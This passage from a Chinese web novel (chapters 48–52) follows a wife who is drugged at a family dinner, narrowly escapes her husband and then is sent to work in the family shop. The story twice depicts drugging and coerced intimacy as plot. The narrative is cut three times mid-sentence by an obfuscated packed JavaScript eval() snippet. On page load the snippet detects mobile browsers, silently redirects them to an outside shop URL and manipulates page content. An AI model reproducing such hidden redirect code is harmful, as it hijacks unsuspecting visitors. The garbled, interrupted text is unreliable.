万山雪心中微诧，崔府何时有等她开宴一说？她面上不露，只淡淡道：“有劳卫姐姐久候，我换身衣裳便去。” 卫婆子却笑道：“太太说了，今日只是自家人乐一乐，族中人待二爷动身前一日再聚，不必拘礼。” 踏入花厅，眼前景象更是让万山雪一怔。 厅内灯火通明，圆桌上已摆满了琳琅满目的菜肴，山珍海味时令鲜蔬，烹制得极为精致，远远超出了平时一家人用膳的规格。 尤氏端坐主位，脸上是难得一见的开怀。崔明之坐在她下首，神色间有些沉郁，而让万山雪目光微凝的是，一向总是坐在尤氏与崔明之中间的乌思羽，这次却坐在尤氏的另一边。 她穿着一身桃红色衣裙，妆容精致，只是见万山雪进来，原本的笑脸却倏地僵住，手中紧紧绞着一条嫣红的帕子，嘴里却还是礼貌唤道：“表嫂。” 尤氏立刻热情招手，声音比平日高了两度：“快过来坐，就等你了！”她指着崔文远身旁空着的座位说道。 崔明之亦抬眸看了她一眼，随即又移开视线，只略一颔首。 万山雪依言坐下，心中疑窦丛生。这阵仗，未免太大了些，便问道：“这两日不在家，今儿母亲有什么格外高兴的事儿么？” 尤氏命令左右退下，脸上笑意更深：“你瞧，出去两日就什么也不记得了。若不是你深得葛太太信任，明之如何能得到东洋铜运的引荐信？这可是天大的惊喜，你功不可没啊！” 此话一出，万山雪清晰地感觉到，崔明之的目光再次落在了自己身上，对面乌思羽绞着帕子的手更用力了，头也埋得更低。 “母亲言重了，”万山雪垂下眼睫，声音平静无波，“葛家厚爱，是看在崔家的信誉和二爷的能力上，儿媳不敢居功。” “诶，谦虚什么。”尤氏不容分说地打断她，亲自夹了一筷子胭脂鹅脯放到她面前的碟子里，“总之是大喜临门，定要好好庆祝一番！” 虽然于情于理都说得通，可她心里隐隐觉得有什么不对劲。在尤氏眼里，她既嫁入崔家，生死都是崔家魂，无论为崔家做什么那都是理所应当的，何来感谢一说。 心下狐疑，便忍不住看了一眼崔明之，恰好他也正看过来，目光相撞，她迅速躲开了。 49. 第 49 章 崔明之也夹了一筷嫩笋给万山雪，说道：“母亲说的很是，此事确该好好谢谢你。” 席上有几盅冰糖燕窝羹，尤氏亲手分与万山雪和乌思羽喝，二人慌忙起身相接。 乌思羽笑道：“姨母今儿乐糊涂了，怎么对我们小辈这样客气起来？” 尤氏抚了一下脸颊笑道：“可不我乐晕了，只顾着今夜没外客，跟珊瑚说不用备酒，可忘了明之这个远行客。珊瑚，叫人温驼奶酒来。” 又转头对崔明之说道，“我知道你不喝甜羹，也没有我们娘仨陪你喝烈酒的道理，前儿得了一皮囊驼奶酒，在京城里可是稀罕物，给你这要离家的人尝个鲜。” 珊瑚将温热的驼奶酒分与众人，乳白色的酒液倒入碗里，稠润润地挂着碗壁，奇异的醇香“轰”地一声散开，叫人想起秋日熟透的浆果，混合着沙枣花蜜的甜润，牧草被阳光晒透的暖意，还有雪山脚下初融雪水的清冽。 万山雪捧起来，只觉得那香气里仿佛看得见戈壁落日、大漠孤烟。 初抿一口，像羊乳般温滑，醇香在舌尖划开后，泛起了野葡萄的清甜回甘，喝下去只觉得心口的凉气都被冲没了。 乌思羽说道：“我从前跟着爹爹出远门，倒是喝过羊奶酒，这驼奶酒还是第一次见，真真好风物。” 可是这驼奶是贡品，向来只有皇家人喝的份，顶多赏赐几位重臣，崔家怎会有？ 万山雪随声附和赞叹几句，不由得想起相府那位管家来。 只听尤氏说道：“物稀为贵，花重金不说，费了好一番口舌跟人家换来的。” 她又疑心自己多想了，便抛在脑后不提。 崔明之对着众人举杯，又特地将杯身放低与万山雪碰了碰，尤氏含笑望过来，点点头，万山雪只装看不见，端起来慢慢饮尽。 尤氏还破天荒主动关心起兰家与万家来，若是不知底细的人看去，只以为这是相处极融洽的婆媳。崔明之话不多，只是不住地给她布菜，眼神如蜂蝶恋花般总不离她左右。乌思羽亦随着话音说一些场面话。 万山雪忽然很想念黎家的氛围。 虽不是她的家，与他们也不熟悉，可身处其中那样的随分自洽，是她在娘家也从来没有的。 任谁都说她和弟弟被兰芬捧在手心里疼爱，端的是命好，少女敏感的心思又何尝察觉不到其中的微妙区别？只是兰芬做得滴水不漏，人人赞颂不绝，她挑不出刺，便只能将心里的不适压下去，归结为自己不知足。 酒过三巡，菜过五味，尤氏便对万山雪笑道：“后日明之便要启程去津门港，再转道东洋。这一去，少说也要半年之久。虽有小厮帮他收拾，到底我不能完全放心，你吃过饭去仔细打点一遍。” 万山雪正觉身上有些莫名的燥意，闻言便顺势起身：“恰好我有些头晕，不能作陪了，请母亲和妹妹见谅。” 离开喧嚣的花厅，夜风一吹，非但没觉得清醒，那股从丹田而起的燥热感愈发强烈，如同蛊虫，疯狂流窜向四肢百骸，心跳也莫名地加快，额角甚至沁出了细密的汗珠。 她扶着冰凉的廊柱，深吸了几口气，试图压下这突如其来的不适。是酒意上头了吗？可那驼奶酒十分温和，不至如此。 难不成是昨夜惊吓，加上夜里凉气袭人，发烧了？ 她摸着滚烫的额头，强撑着加快脚步，只想速速去书房应付差事，而后回房歇息。 书房里点着灯，她推门进去，扑面而来是甜腻的暖香，混合着书卷气息，热烘烘地裹上来。 她靠在门上，只觉得浑身都是汗，血脉里像是有无数细小的火苗噼噼啪啪燃烧，灼得她头昏脑涨，心浮气躁间瞧见桌子上有水，来不及细想，端起来就喝。 两杯水下肚，愈发心慌意乱，瞥见两条并排放着的长凳上整整齐齐放着大包小包，不觉嘲弄自己蠢笨：崔明之何时需她来帮忙收拾行李？ 只怕人家三人想说悄悄话，借故将她支开罢了，经历这许多，怎还那样实心眼？ 这样自嘲，便挣扎着起身想要回去，不想才走两步，崔明之竟也进屋来了。 他手里捧着一个雕花锦盒，脸上带着潮红，呼吸粗重，眼神迷离，红得像着了火，许是醉了酒。 他将锦盒递到万山雪面前，声音有些沙哑：“母亲说奖赏给你的，方才忘了。” 万山雪警惕万分，她下意识地后退一步，没有去接。 “区区小事不值一提，二爷何不帮我辞掉……” 崔明之却步步逼近，直接将锦盒塞到她怀里。 “让你拿着便拿着！”他有些焦躁，“打开看看。” 万山雪见被逼到了墙角，一时脱不得身，只好打开盒盖。 里面是一套赤金镶嵌红宝石头面，做工极其精致繁复，金丝累叠成牡丹花形，中间嵌着鸽血红宝石，流光溢彩，华贵逼人。 然而此刻，万山雪只觉得那光芒刺目无比，如同毒蛇的信子在眼前乱舞。 在崔明之靠近后，内里那股子火烧得更加猛烈，一股陌生的、令她恐慌的渴望在肺腑里叫嚣，让她几乎站立不稳，只想靠近那散发着男子气息的躯体。 不！绝不能！ 她用尽全身力气，猛地合上锦盒，将其远远对着书桌扔过去，强忍着难以抑制的颤抖说道：“我……我有些不适，先回房了，左右还有两日时间，慢慢收拾也来得及。” 见崔明之仍然立着不动，两人的距离只在分毫之间，她着了急，伸手去推他。 崔明之却仿佛完全没有察觉似的，目光紧紧锁在她的脸上，呼吸愈发急促。 “雪儿，我就要走了……”他哑声唤道，再次逼近，伸手去抓她的肩膀。 万山雪如同受惊的兔子，猛地躲开，后背重重撞在墙棱上，疼得她倒吸冷气。 崔明之俯下身来，急切道：“伤了哪里，给我看看。” 额抵着额，眉眼近在咫尺，他的双眸忽地化为深井，让她忍不住想要投身进去索取那甘凉之意。 许是觉察到她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841672|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠近，崔明之低低地笑了一声，滚烫的唇倏地贴上，她悚然惊醒。 “崔明之，不对，不对，我们被下药了。”她急促说道，声音却因药效而带着酥软，毫无威慑力。 崔明之已经失控，如同饥饿难耐的狮子，猛扑上来，一把将她箍在怀里，昏天暗地吻下来。 万山雪拼命挣扎，指甲在他手臂上划出血痕，屈辱愤怒如同岩浆般爆发：“崔明之，你们不能这样对我，这种手段太卑鄙了！” 崔明之似乎被她的泪水镇住片刻，微微顿住，复又埋头下去，呢喃不清地说：“什么手段，我不明白……” 万山雪只觉得一点力气都没了，意识开始有些模糊，身体软得不像话，理智消失殆尽，渐渐沉沦在他的攻势里。 就在她的衣襟被撕开的瞬间，门忽地一声开了。 是红璎闯了进来。 她死命去推崔明之，见推不开，干脆抓着万山雪，卯足了劲儿将她拖了出来。 万山雪甚至来不及整理凌乱的衣衫，就被她拽着连滚带爬冲向门口，如同逃离炼狱一般，踉跄着冲入了漆黑的夜色中。 冰冷的夜风扑面而来，让她灼热的身体得到了短暂舒缓，但体内的火焰并未熄灭，反而烧得更加炽烈。她知道自己撑不了多久，必须尽快找到解决之法。 崔明之的书房与乌思羽的院子离得最近，她顾不得礼仪，搭着红璎跌跌撞撞闯了进去。 小丫头采薇正百无聊赖喂着金鱼，一瞧此状吓得呆住了：“二奶奶，您，您这是怎么了……” 万山雪靠着门板剧烈喘息，视野开始模糊，身体软得如同一滩春水，陌生的空虚感和渴望几乎要让她发疯。 “备……备水！冷水！冰水！”她从牙缝里挤出命令。 采薇一听此话，连忙与红璎一道，抬出乌思羽素日沐浴用的大木桶，提来一桶桶冰凉的井水倒入其中。 万山雪再也支撑不住，几乎是撕扯着将衣衫褪去，而后毫不犹豫地浸入了那冰冷刺骨的冷水之中！ “嘶——” 冰冷与灼热猛烈碰撞，让她瞬间打起剧烈的寒颤，牙齿咯咯作响，皮肤上起了密密麻麻的鸡皮疙瘩。水流如同千万根细针，刺入她的肌肤，暂时压制住了那汹涌的欲望洪流。 她将整个身体，连同滚烫的脸颊，都深深埋入水中，耳中灌入凉水都顾不得，许久才仰头呼吸，如此反复数次。 时间在冰冷与灼热的拉锯战中缓慢流逝。 直到桶中的水都被她的体温焐得带上了些许暖意，那股邪火才终于如同潮水般缓缓退去，虽然依旧残留着些许火星，但理智已然重新占据了上风。 万山雪这才慢慢从水中抬起头来，乌黑的长发湿漉漉地贴在苍白的脸颊和颈侧，浑身冰冷嘴唇发紫，眼神恢复了往日的清明。 红璎连忙用厚厚的大棉巾将她包裹住，扶出浴桶，收拾齐整。 万山雪环顾四周，轻声问道：“这会多早晚了，你们姑娘怎么还没回院里？” 50. 第 50 章 采薇懵懂摇摇头说道：“许是陪着太太说话呢！太太留我们姑娘聊到夜深也是常有的事儿。” 万山雪还要追问，瞥见红璎悄悄冲她使眼色，便佯装不在意，一面往外走一面低声问红璎：“你怎知我在表姑娘院里？” 以当时的情势，若非红璎找去，必然是木已成舟。 红璎瞧着四下无人，悄声说道：“是表姑娘趁着净手悄悄告诉我的，她说有人在您和二爷的饭菜里动了手脚。问是什么药她又死活不说，可吓得我不轻，还以为谁要害你们的性命，来不及多想，便飞奔来了……” 她倏地顿住，垂下头不再说了。虽然夜色深沉看不清楚，可女儿家撞见不堪的那番羞恼，也就可想而知了。 万山雪捏了捏她的手：“多亏了你。” 她将前后事连在一起回想，直庆幸乌思羽有这份私心，否则真不知会闹到哪种地步。 就在这时，一个念头忽地闪过脑海，她拔腿就往崔明之的书房方向跑去：“不好！” 红缨抓住她紧张道：“这会子还不知二爷是何状况，奶奶可不能贸然过去。” “不是，是表姑娘，她……” 红璎说道：“求仁得仁，若是她非要这样死心眼，也算是全其心愿，奶奶难道还替人家白担着这份心么？她素日何等嚣张……” 万山雪脚步缓下来，心里却是忐忑不安。 她们关系淡漠又无血缘，她要做扑火的飞蛾，也只得由她去。可同为女子，且无论怎样，乌思羽都算是救了她一回。她希望她最好是在得知情况的前提下做出这个决定。 她所猜疑的崔明之在房中事上的隐疾，经由尤氏下药一事就更加明了。乌思羽这会子脑子一热不要紧，往后…… 可这个话却没法说出口。 她踟蹰半晌，轻声道：“到底她帮了我一把，关系着女儿家的清名……” 说话时二人已临近书房，可巧瞧见橘霜急匆匆地朝着书房跑去，到了阶前被采萍拦住。 橘霜说道：“采萍妹妹这是何意？我来找二奶奶。” 采萍客客气气笑道：“橘霜姐姐，方才二奶奶才回去，你没碰上么？这会子二爷喊我们姑娘来有些话要说，吩咐了不得进去打扰。” 橘霜惊异道：“怎会？我才从我们院里来。” 采萍不慌不忙答道：“兴许二奶奶去了太太那里，姐姐再去找找。” 橘霜扭头要走，顿了顿转回身子来，扯着嗓子喊了一声：“二爷，二爷，二奶奶可在房里么？” 采萍不料橘霜会如此，上前就推了她一把，嘴里不干不净骂道：“好个野丫头，好没教养，主子跟前儿，也有你大呼小叫的份儿！” 这个乌思羽，带出来的丫鬟如此刁蛮。方才的隐忧一扫而光，万山雪缓缓现身，淡淡说道：“橘霜，我在这儿。” 橘霜三步并作两步来搀住她：“夜深了，方才四处找不见奶奶，偏是红璎这丫头也不见了，唬得我心口直跳。” 红璎话里有话说道：“你也是多心，有什么好怕的，自家院里，便是人贩子来了，也得自个儿巴巴送上去人家才能得手。” 那采萍不料有此变故，强自镇定问道：“二奶奶怎么从我们姑娘屋子里出来了？” 万山雪且不理她，向左右一笑：“我竟不知，家里会有这等无礼丫头。我倒要问问你，这府里有哪一处是我去不得的？” 说着便朝书房走去。 采萍恍了神，拦也不是，让也不是，情急之下噗通一声跪倒，死命磕头。 万山雪佯装不解：“你这是何意？” 采萍一个劲儿地哭，却说不出话来。 万山雪长长地“哦”了一声，意味悠长说道：“是了，我怎配过问乌家下人？你有什么冤屈，便去同太太诉说吧。” 她越过采萍径直走到书房门口，默然片刻，暗暗叹了口气。快刀斩乱麻吧，每个人都要为自己的所作所为付出代价，谁也不例外。 很不堪，可也必须面对。 她咬了咬下唇，故意做出轻快的语调说道：“明之，你这会子还头疼么？” 连着喊了三声，门开了。 是衣衫不整、鬓发散乱的乌思羽赤脚开了门。 瞧见万山雪，她掩面哭倒在地下：“表嫂，表嫂，我活不成了……” 烛光摇曳中，室内的甜腻熏香，被微风送了出来。 室内拔步床的帐幔并未放下，万山雪被她抱着腿，亦可看见地上散落的男子外袍、水红色的绣鞋，以及两件贴身衣物。 余光瞥去，瞧见崔明之穿着中衣，背对着门坐在地上，双手深深地揪扯着头发，不看也知道，他是何等的懊悔难堪。 “看来，”她沉默半晌，声音平静无波，“是我来得不巧了。红璎，去请太太来，府里该办喜事了。” 乌思羽周身一震，只管抱着她的腿哭：“表嫂救我……” 一直沉默不语的崔明之披着袍子，大步走了出来，他一把攥住万山雪的手腕：“你知道我有多冤。” 万山雪甩开乌思羽，冷笑道：“还真是夫唱妇随呢，听你二人这语气，怎么，是我将你们绑到床上的？” 崔明之张口结舌，却不肯松开她，语气软了下来，眼神里尽是哀求：“我不知道事情怎么弄成这样的，可是雪儿，我崔明之这辈子只会有一个妻子。” 万山雪勾起嘴唇：“哦，二爷这意思我明白，一生一世一双人，这位置，我得让出来。” 崔明之蓦地将她拉向怀里，他身上有乌思羽惯用的香料味道，扑了满鼻直令人作呕，万山雪死命地扑腾着踢咬着他，遥遥瞥见尤氏带人往这边走来，知道是时候拿出点儿演技了。 说也奇怪，这个念头一起，那一腔子委屈也不知由何而来，眼泪珠子般只管往下滚。 牙齿深深陷入崔明之的手臂上，心里却是莫大的解脱感，她告诉自己：万山雪，从今日起，你自由了。 离开崔家，虽是早就确认无疑之事，只是一切如在茫茫大雾里，今夜这一遭荒唐事，如同明灯彻底将前路照得透亮。 崔明之任由她泄愤，颤抖着手要帮她擦眼泪，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870236|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别过脸去，可是肩头颤抖得厉害，任谁看去，都知道她是难过悲愤至极了的。 崔明之的胳膊沁出两道血痕也不肯松手，语无伦次说道：“我不知道，事情怎么变成这样的，你别哭，你别走……” “表哥，表嫂，姨母，”乌思羽摇摇晃晃地站了起来，整个人像被狂风揉过的花朵，娇弱又委屈说道：“都是我不好，听见表哥嚷嚷头疼，情急之下忘了表哥醉酒，便着急进去探看。思羽深受姨母一家大恩大德，决不能以德报怨，请哥哥嫂嫂恩爱如初，只当这是一场噩梦，思羽万死而无憾。” 她说完便流着泪跑了出去。 尤氏急切跺脚道：“傻愣着作什么，还不快去拦着她！” 登时，满院子鸡飞狗跳。 “母亲！”万山雪噗通一声跪在尤氏面前，声音嘶哑而沉痛，仿佛每一个字都用尽了平生力气。 尤氏连忙扶着她：“快起来，起来说话，这是怎么回事？” 万山雪立在她的身旁泣不成声。 泪眼之中，却瞥见尤氏朝着卫嬷嬷使了个眼色，不多会儿，卫嬷嬷捧着块叠得方方正正的东西走了出来，面上分明有喜色，却在看见万山雪的一瞬间刻意收敛住了。 走得近了，她看出那是崔明之书房床上铺着的薄衾，一时还没弄明白怎么回事，瞧见尤氏喜上眉梢，这才恍然。面上犹自哭哭啼啼伤怀不住，暗自冷笑，且看尤氏如何处置。 尤氏脸上颜色变了又变，刹那之间喜怒哀乐都过了一遍，好一会子方才开口说道：“都是我的不是，为着他要出远门，一时高兴，多灌了几杯酒，不想出了这样的荒唐事。木已成舟，依我看……” 她且住了声，转过来看着万山雪。 万山雪拭泪哽咽道：“母亲，儿媳自知蠢笨，不得夫君欢心，可无论如何我也是过了明路进的崔家，今日众人看在眼里，这府里从今往后，可还有儿媳的容身之地？” 尤氏且不作答，转向儿子问道：“糊涂东西，究竟是怎么回事？你自己向你媳妇交代吧。” 崔明之跪在地上说道：“儿子醉酒失德，甘受一切责罚，只是事情尚未弄清楚……” “还要怎么弄清楚！”尤氏扯过卫婆子手中的衾被丢在他面前，上面一块还未干涸的血迹触目惊心。 崔明之似乎还抱着一线希望，他急切地转向万山雪：“可是起初是雪儿跟我在书房里……” “糊涂东西！你夫妻成婚三年有余，这东西如何会是她的！灌了黄汤连这点子常识都没了，幸而这里没有外人，传出去叫人笑掉大牙。” 崔明之的那句话像是触了尤氏逆鳞，她登时面皮紫胀，犹如连珠炮一般密不透风，叫人插不进话去。 “孽障，事情既已成了，男子汉大丈夫，顶天立地担着也罢了，昏头昏脑一味逃避算什么东西？那又是你的亲表妹子，我的嫡亲外甥女，少不得我两头谢罪，替你洗脱了这桩罪孽。万氏亦不必自寻烦恼，既然出了这档子事，就向前看吧。依我说，从此以后，多个人替你分担传承香火的压力，也是一桩好事。” 51. 第 51 章 万山雪猛然抬起头来，停住了哭。 尤氏却很怕她接话似的，紧接着说道：“事已至此，不必哭哭啼啼的，徒惹人笑话。你放心，有我在，你正妻的位置无人能动，随后思羽进门，也只看在我这张老脸的份上做个贵妾罢了，绝不会越过你去。” 万山雪惨然一笑：“母亲，时至今日，我还要这位份做什么？我所求的，只是母亲给我一个公道。” 尤氏脸色沉了下来：“我说了一车好话，哪一句不是偏着你的？你要什么公道？便是这会子马不停蹄送思羽回家，将明之打得下不了床，这个事儿，它终究是铁板钉钉，否认不得的。” “儿媳哪里敢存着这份糊涂心思？只是陡生此变，我与表妹再难像从前那般和睦无二。每日在府里相对，抬头不见低头见，彼此折磨徒增怨怼反为不美。请母亲准许儿媳离开。” “离开？你是崔家媳，要去哪儿？且不说我崔家落了个宠妾灭妻的名声，”尤氏眉头紧蹙，声音放缓说道，“成了家的人，这会子哭着闹着回去，不是给父母增烦恼么？我们生儿育女为人父母，何尝有一日是指着你们孝顺，不过图有个牵挂安心度日罢了，便是要回去，也等来日心境平复些……” 万山雪的泪水复又涔涔而下：“母亲这话，真真说到我心坎儿里了。在娘家时让父母操心不止尚可原谅，嫁为人妇，又使婆母忧心，当真羞愧难当。前后路我也想了，左右为难。母亲若是不嫌弃……就在崔家铺子里给我找个杂活干着吧。一来，我白日不在家里，与妹妹不常相见，彼此静静心。二来，也算是让儿媳妇为崔家尽一些微薄之力。将来就是别人知道，只有说母亲疼我的，无人敢说我是弃妇。从今往后，崔家内宅之事，儿媳绝不再过问半分。” 她说着，又跪下来：“儿媳自问已经做了最大让步，若是母亲不同意，我就只有厚脸回万家一条路了。” “不，我不同意！” 崔明之喊了出来，他双目血红，与万山雪跪在一起，“母亲，思羽不能进崔家门。昨夜是我糊涂，我去姨母家赔罪，我去道歉，我……” 他再也说不下去了。 尤氏狠狠瞪了他一眼，沉吟片刻，伸手搀起万山雪：“好孩子，难为你心烦意乱至极，还在为我这张老脸考虑。既然你执意如此，念在这些年本本分分，又受了委屈，我便允了你。明日一早你就跟着丰掌柜到铺子上去。只是你要记得，一举一动都代表着崔家脸面，定要谨言慎行，有不明白的多跟掌柜请教，不许私做主张。” 万山雪心头狂喜，抽泣着说道：“多谢母亲成全，儿媳必定谨记母亲教诲。” 说完，她掰开崔明之抓着她衣袖的手指，身子晃了两晃，却还是挺直了脊梁，一步一步头也不回地走了。 夜风寒凉，吹拂在她脸上，却皆是自由的气息。 人逢喜事精神爽，虽然经历冰火两重天的双重刺激，她竟不觉身子有何不适，咕嘟嘟灌下一大碗姜汁，顿觉由腹部而起的一股暖热直冲咽喉，通身舒泰。 躺在床上，翻来覆去怎么也睡不着，反复想着明日在铺子里会遇到怎样的事情，要如何处理，怎能不失分寸气度地跟掌柜和伙计们打交道…… 最后忍不住坐起身，喊红璎取本书来读。 橘霜心疼道：“这几日连惊带气的，好容易消停了，奶奶不早点歇息，看书做什么？” 红璎取来了书，打趣道：“我瞧咱们二奶奶，不像是去铺子里监工，倒像是要去考状元了。” 万山雪笑嗔两句，抱着书看了好一会儿，直到困意渐渐涌上来，才慢慢睡去。 次日一早不用人唤就起了床，换上一身半新不旧的深绿色细布薄棉衣，料子柔软耐磨，颜色也不扎眼。长发用素银簪简单绾起，脸上淡施脂粉，摒弃华贵饰物，在镜子前转了几下，自己觉着干净利索，像个能做事的人，这才满意。 用过早膳，到尤氏屋子里听了几句教训，卫嬷嬷领了一位中年男子进来。 此人约莫四十上下，灰色棉袍外罩一件石青色马甲，面容端正，眼神透亮，下巴留着修理整齐的短须，透着股干练沉稳的气息。 “这便是咱们崔记杂货铺的丰掌柜，打小跟着你们父亲的，最可信赖不过，凡事拿不准主意，便多与他商量，万万不可冒失。” 尤氏说话时，万山雪便悄悄打量着丰德，见他垂手而立，神情不卑不亢，并未因她一介女流要插手生意之事而有丝毫惊讶怠慢，亦未因她二奶奶的身份惶恐巴结，心里便起了几分敬意。 丰德规规矩矩行了个礼，语气平和：“小人丰德，见过二奶奶。” 万山雪忐忑一夜的心安定下来，不是油滑刁钻之辈就好。 “丰掌柜不必多礼，我乃行外人，素日只得太太与二爷教导些许生意之道，若论真枪实战，还须掌柜多多指点。” 没有过多寒暄，万山雪便登车随丰德而去。 崔家侧门在身后无声地合拢，似将过去三年多时光尽数隔绝在了里面。凛冽的寒气沁入肺腑，有些微疼，她却品出甘甜之味来。 马车辘辘驶入大街，空气中弥漫着各种气味：刚出笼的包子香、药材铺的苦香、染坊飘出的颜料气息，还有牲畜周身气味。 常年身居内宅，她少有机会见识清晨街巷，只觉得入眼之处，皆是蓬勃生机。 车子行至铺子附近，速度明显慢了下来，听得一阵说笑声越来越高，隔着车帘都能感受到那股非同寻常的喧腾热浪。 红璎早就按捺不住，轻轻掀开车帘一角，向外张望。 丰德走过来说道：“二奶奶，是秋闱放榜。那边挤满了人，车马都走不动了。” 万山雪心中微动：“停车，稍等片刻。” 眼前景象果然壮观。 高大的照壁前，已是人山人海水泄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874717|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不通。学子们挤在最前面，个个引颈翘首，面色如同开了果子铺似的，红的白的青的紫的，紧张与期待交织在一张张写满了祈愿的脸上。。 更多的则是看热闹的百姓，还有穿梭其间高声吆喝着售卖果品茶水的小贩。喧哗声叹息声与报喜人的铜锣声混杂在一起，直冲云霄，将深秋的清冷驱散得无影无踪。 万山雪的目光平静地扫过那些陌生的姓名。 科举仕途，是男子们的青云路，女子们只有隔岸观火的资格，至于万山锦，中与不中，与她干系不大，可若是不闻不问，落在崔家用人眼里，可就成了话柄。 就在她目光即将移开时，一个熟悉的名字，猝不及防地撞入了她的眼帘—— 第一百二十八名，万山锦。 京畿之地今年只录取一百三十五名，排名虽然靠后，但在万千学子角逐的秋闱中能榜上有名，已实属不易。 正思忖间，忽听得一阵夹杂着铜锣音的报喜声： “捷报！捷报！恭贺顺天府大兴县万山锦万老爷，高中丁酉科顺天乡试第一百二十八名！金榜题名，桂榜高悬！” 报喜人显然深谙此道，声音洪亮，穿透嘈杂，清晰地沿着蜿蜒小巷四处散去。 紧接着，便看到几个万家小厮满面红光地从人群中挤出来，手里捧着红封，大声应和着，将报喜人团团围住，散着喜钱，引来周遭一片艳羡的恭贺与议论。 “万家？可是那个……二女儿前阵子闹出风波的万家？” “正是！儿子倒是争气！” “一百二十八名，不错了！稳稳的举人老爷。” “万家这下可算是扬眉吐气了……” “是啊，养女儿图的是门亲戚，究竟还要看儿子争不争气。” 万山雪放下车帘，隔绝了那些嘈杂。 橘霜不安地看着她：“二爷若是从此平步青云，奶奶想要扳倒太太，只怕阻力就大得多了。” 万山雪面上波澜不惊，既无欣喜也无失落，只有一片置身事外的平静。 她几乎可以想见，此时的万府会是怎样一番景象。兰芬喜极而泣，焚香告祖，万有善克制些，也必是捻须微笑，脸上荣光。 不大如意的，恐怕只有万山锦一人，以他的心气高傲，必会将排名靠后之事怪罪于万山绣的拖累。 良久，她冷笑一声，轻声说道：“那便挑在他声望最鼎沸之时出手，打他们个措手不及。” 青布小车重新启动，费力地绕过依然沸腾的人群，向着崔家铺子缓缓驶去。 真正的路，才刚刚开始。 万山雪仰起头，目光似乎穿透缝隙，望向更高远的天空。 秋风拂动车帘，带来远方此起彼伏的鞭炮声，想来也有万府一份。而她的前路，没有鞭炮，只有未知的风霜，与手中紧紧握住的、那一点点微弱的自主。 不过，也够了。 52. 第 52 章 崔家杂货铺位于城西主街与一条热闹巷口的交汇处，地段颇佳。铺面比万山雪想象的要宽敞不少，连着六间大铺面，端的是气派无比。 黑底金字的招牌已经有些年头，却擦拭得干干净净。 此刻时辰尚早，铺门刚开，伙计们正在洒扫擦拭，整理货架。 见万山雪随着丰掌柜进店，伙计们都有些诧异，纷纷停下手里的活计，垂手而立。 丰德言简意赅：“这是府里的少夫人，日后常在铺中，尔等需尽心伺候。” 伙计们齐声应了，又各自忙碌。 没来之前，她还以为“杂货铺”不过是崔家自谦之意。这会子跟着掌柜边走边看，才知货物是名副其实的杂。 南边两间铺子的货架上，堆叠着一匹匹提花锦缎，颜色从最常见的靛蓝、鸦青到鲜亮的茜红、鹅黄皆有，光泽柔润图案精致。 中端两间则盛放着各式瓷器，碗碟杯盘俱全。她拿起一套天青色的雨过天晴瓷茶具细细端详，只见釉色匀净胎体轻薄，一看便知不是寻常百姓所用之物。 北边两间则陈列着来自天南地北的货品：闽地的漆器为主，粤海的玳瑁和珊瑚珠子、川蜀的桐油和竹纸，甚至还有几匣子标注着“南洋”字样的胡椒、豆蔻等京城少见的香料。 货物种类虽杂，但摆放井然有序，擦拭得一尘不染，显见掌柜管理有方。 丰德边走边为她介绍：“咱们崔记主营三类：一是各色布匹绸缎，特别是苏杭过来的上好丝织品；二是瓷器漆器，主要来自景德镇和福州；三是南北干货与海外香料。” 他略略压低声音，“二奶奶知道，咱们铺子是内务府挂了号的，会接些宫里采办太监指派的单子，采买宫里特定物料。顶着这个名头，是卖不得寻常货的。店里所售，无论品质样式皆是上乘，主顾多是城中富户、官宦人家以及一些有门路的中小商号。” 原来如此。 “难为丰掌柜守着这样大的铺子，打理得井然有致。说来不怕你笑，我昨儿一夜辗转，想着生意究竟要如何打理？譬如说平时进出账目，货物盘点，采买定价，皆有一套章法吧，还有人员管理调度，真真想得我头晕眼花。关公门前耍大刀，那是徒惹人笑话的，我想来想去，还是诚诚恳恳请教您给我讲解这其中门道是正经。” 丰德微微一怔，旋即笑道：“二奶奶过谦了，单听这番话，岂是一窍不通之人能说出来的？” 他引着万山雪来到柜台后面隔出的一间小小账房，指着桌上几本厚厚的账簿和一堆单据解释道：“铺子里账目分为流水账、总账和库存账。每日买卖，伙计开票，注明货物数量、单价总价，客人付款后，单据一份交客人，一份留底，每晚收铺后汇总入流水账。每旬小结，每月盘存对账，再登入总账。库存账则记录每样货物的进出存情况，方便及时补货。” 